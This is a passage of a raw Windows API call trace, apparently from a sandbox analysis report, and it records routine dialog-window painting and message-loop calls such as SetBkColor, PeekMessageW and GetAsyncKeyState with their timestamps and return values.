(hdc=0x11010729, color=0xff00) returned 0x0 [0048.709] SetBkColor (hdc=0x11010729, color=0x0) returned 0xffffff [0048.709] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.709] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.709] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.709] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.709] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.709] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0048.709] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0048.709] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.709] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.709] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.709] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.709] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.709] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0048.709] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0048.711] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.711] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.711] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.711] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.711] GetWindowLongPtrW (hWnd=0xe0020, nIndex=-21) returned 0x5 [0048.711] GetWindowLongPtrW (hWnd=0xe0020, nIndex=-21) returned 0x5 [0048.711] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.711] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0048.711] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xffffff [0048.711] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.711] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.711] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.711] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.711] GetWindowLongPtrW (hWnd=0x8011c, nIndex=-21) returned 0x6 [0048.711] GetWindowLongPtrW (hWnd=0x8011c, nIndex=-21) returned 0x6 [0048.711] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.711] GetWindowLongW (hWnd=0x8011c, nIndex=-16) returned 1342242944 [0048.712] GetSysColor (nIndex=5) returned 0xffffff [0048.712] GetSysColor (nIndex=8) returned 0x0 [0048.712] SetTextColor (hdc=0xe010572, color=0x0) returned 0x0 [0048.712] SetBkColor (hdc=0xe010572, color=0xffffff) returned 0xffffff [0048.712] CreateSolidBrush (color=0xffffff) returned 0x381005af [0048.712] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.712] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0x7e0106e1, lParam=0x0) returned 0x1 [0048.712] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.712] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.712] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.712] SetBkColor (hdc=0x7e0106e1, color=0xf0f0f0) returned 0xffffff [0048.712] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.712] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0x7e0106e1, lParam=0x4) returned 0x0 [0048.712] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.712] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.712] GetWindowLongPtrW (hWnd=0x8011c, nIndex=-21) returned 0x6 [0048.712] GetWindowLongPtrW (hWnd=0x8011c, nIndex=-21) returned 0x6 [0048.712] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.712] GetWindowLongW (hWnd=0x8011c, nIndex=-16) returned 1342242944 [0048.712] GetSysColor (nIndex=5) returned 0xffffff [0048.712] GetSysColor (nIndex=8) returned 0x0 [0048.712] SetTextColor (hdc=0x7f0106e1, color=0x0) returned 0x0 [0048.712] SetBkColor (hdc=0x7f0106e1, color=0xffffff) returned 0xffffff [0048.714] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.714] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.714] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.714] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0xffffffff800106e1, lParam=0x0) returned 0x1 [0048.714] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.714] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.714] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.714] SetBkColor (hdc=0xffffffff800106e1, color=0xf0f0f0) returned 0xffffff [0048.714] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.714] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0xffffffff800106e1, lParam=0x4) returned 0x0 [0048.714] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.714] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.714] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.714] SetBkColor (hdc=0xffffffff800106e1, color=0xf0f0f0) returned 0xf0f0f0 [0048.715] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.715] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.715] GetWindowLongPtrW (hWnd=0xb01e6, nIndex=-21) returned 0x7 [0048.715] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x7, lParam=0x10f395ef70) returned 0x0 [0048.715] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.715] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.715] GetWindowLongPtrW (hWnd=0xb01e6, nIndex=-21) returned 0x7 [0048.715] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x7, lParam=0x10f395ef70) returned 0x0 [0048.715] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.715] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.715] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.715] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.715] GetWindowLongPtrW (hWnd=0xb018a, nIndex=-21) returned 0x8 [0048.715] GetWindowLongPtrW (hWnd=0xb018a, nIndex=-21) returned 0x8 [0048.715] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.715] GetWindowLongW (hWnd=0xb018a, nIndex=-16) returned 1342179332 [0048.715] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.715] GetSysColor (nIndex=8) returned 0x0 [0048.715] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0048.715] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xffffff [0048.719] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.719] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0xffffffffe301070f, lParam=0x0) returned 0x1 [0048.719] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.719] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.719] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.719] SetBkColor (hdc=0xffffffffe301070f, color=0xf0f0f0) returned 0xffffff [0048.719] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.719] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0xffffffffe301070f, lParam=0x4) returned 0x0 [0048.719] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.719] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.719] GetWindowLongPtrW (hWnd=0xb018a, nIndex=-21) returned 0x8 [0048.719] GetWindowLongPtrW (hWnd=0xb018a, nIndex=-21) returned 0x8 [0048.719] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.719] GetWindowLongW (hWnd=0xb018a, nIndex=-16) returned 1342179332 [0048.719] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.719] GetSysColor (nIndex=8) returned 0x0 [0048.719] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0048.719] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xffffff [0048.720] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.720] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.720] GetWindowLongPtrW (hWnd=0xb018a, nIndex=-21) returned 0x8 [0048.720] GetWindowLongPtrW (hWnd=0xb018a, nIndex=-21) returned 0x8 [0048.720] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.720] GetWindowLongW (hWnd=0xb018a, nIndex=-16) returned 1342179332 [0048.720] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.720] GetSysColor (nIndex=8) returned 0x0 [0048.720] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0048.720] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xf0f0f0 [0048.720] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.720] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.720] GetWindowLongPtrW (hWnd=0xb018a, nIndex=-21) returned 0x8 [0048.720] GetWindowLongPtrW (hWnd=0xb018a, nIndex=-21) returned 0x8 [0048.720] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.720] GetWindowLongW (hWnd=0xb018a, nIndex=-16) returned 1342179332 [0048.720] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.720] GetSysColor (nIndex=8) returned 0x0 [0048.720] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0048.720] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xf0f0f0 [0048.723] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.723] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.723] CreateAcceleratorTableW (paccel=0x10f3acba30, cAccel=1) returned 0x2901c7 [0048.723] GetForegroundWindow () returned 0x501e8 [0048.723] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.723] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.724] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.724] Sleep (dwMilliseconds=0x0) [0048.725] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.725] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.725] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.725] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.725] Sleep (dwMilliseconds=0x0) [0048.727] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.727] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.727] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0048.727] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.727] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0048.727] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.728] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0048.728] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.728] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.728] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x20, wParam=0xb018c, lParam=0x2000001) returned 0x0 [0048.728] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.728] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.728] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.728] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.728] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395f470) returned 0x0 [0048.728] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.728] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.728] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.728] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.728] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0xffffffff810106fc, lParam=0x0) returned 0x1 [0048.728] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.728] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.728] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.728] SetBkColor (hdc=0xffffffff810106fc, color=0xf0f0f0) returned 0xffffff [0048.728] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.728] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0xffffffff810106fc, lParam=0x4) returned 0x0 [0048.728] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.728] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.728] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.728] SetBkColor (hdc=0xffffffff810106fc, color=0xf0f0f0) returned 0xf0f0f0 [0048.728] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.728] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.728] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0048.728] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395ef70) returned 0x0 [0048.729] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.729] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.729] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0048.729] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395ef70) returned 0x0 [0048.729] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.729] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0xffffffffe401070f, lParam=0x0) returned 0x1 [0048.729] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.729] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.729] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.729] SetBkColor (hdc=0xffffffffe401070f, color=0xf0f0f0) returned 0xffffff [0048.729] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.729] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0xffffffffe401070f, lParam=0x4) returned 0x0 [0048.729] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.729] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.729] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.729] SetBkColor (hdc=0xffffffffe401070f, color=0xf0f0f0) returned 0xf0f0f0 [0048.729] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.729] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.729] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0048.729] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395ef70) returned 0x0 [0048.729] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.729] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.729] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0048.729] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395ef70) returned 0x0 [0048.729] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.729] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.729] TranslateMessage (lpMsg=0x10f395f7d0) returned 0 [0048.729] DispatchMessageW (lpMsg=0x10f395f7d0) returned 0x0 [0048.729] GetForegroundWindow () returned 0x501e8 [0048.729] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.729] GetCursorPos (in: lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630*(x=570, y=547)) returned 1 [0048.729] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630) returned 1 [0048.729] GetAsyncKeyState (vKey=1) returned 0 [0048.729] GetAsyncKeyState (vKey=2) returned 0 [0048.729] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.730] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.730] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.730] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.730] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.737] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.737] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.737] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.737] Sleep (dwMilliseconds=0x0) [0048.737] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.738] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.738] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.738] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.738] Sleep (dwMilliseconds=0x0) [0048.738] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.738] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.738] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.738] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.738] Sleep (dwMilliseconds=0x0) [0048.738] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.738] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.738] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.738] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.739] Sleep (dwMilliseconds=0x0) [0048.739] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.739] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.739] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.739] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.739] Sleep (dwMilliseconds=0x0) [0048.739] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.739] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.739] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.739] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.739] Sleep (dwMilliseconds=0x0) [0048.739] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.740] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.740] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.740] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.740] Sleep (dwMilliseconds=0x0) [0048.740] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.740] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.740] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.740] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.740] Sleep (dwMilliseconds=0x0) [0048.740] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.741] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.741] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.741] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.741] Sleep (dwMilliseconds=0x0) [0048.741] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.741] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.741] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.741] PeekMessageW (in: lpMsg=0x10f395f7d0, 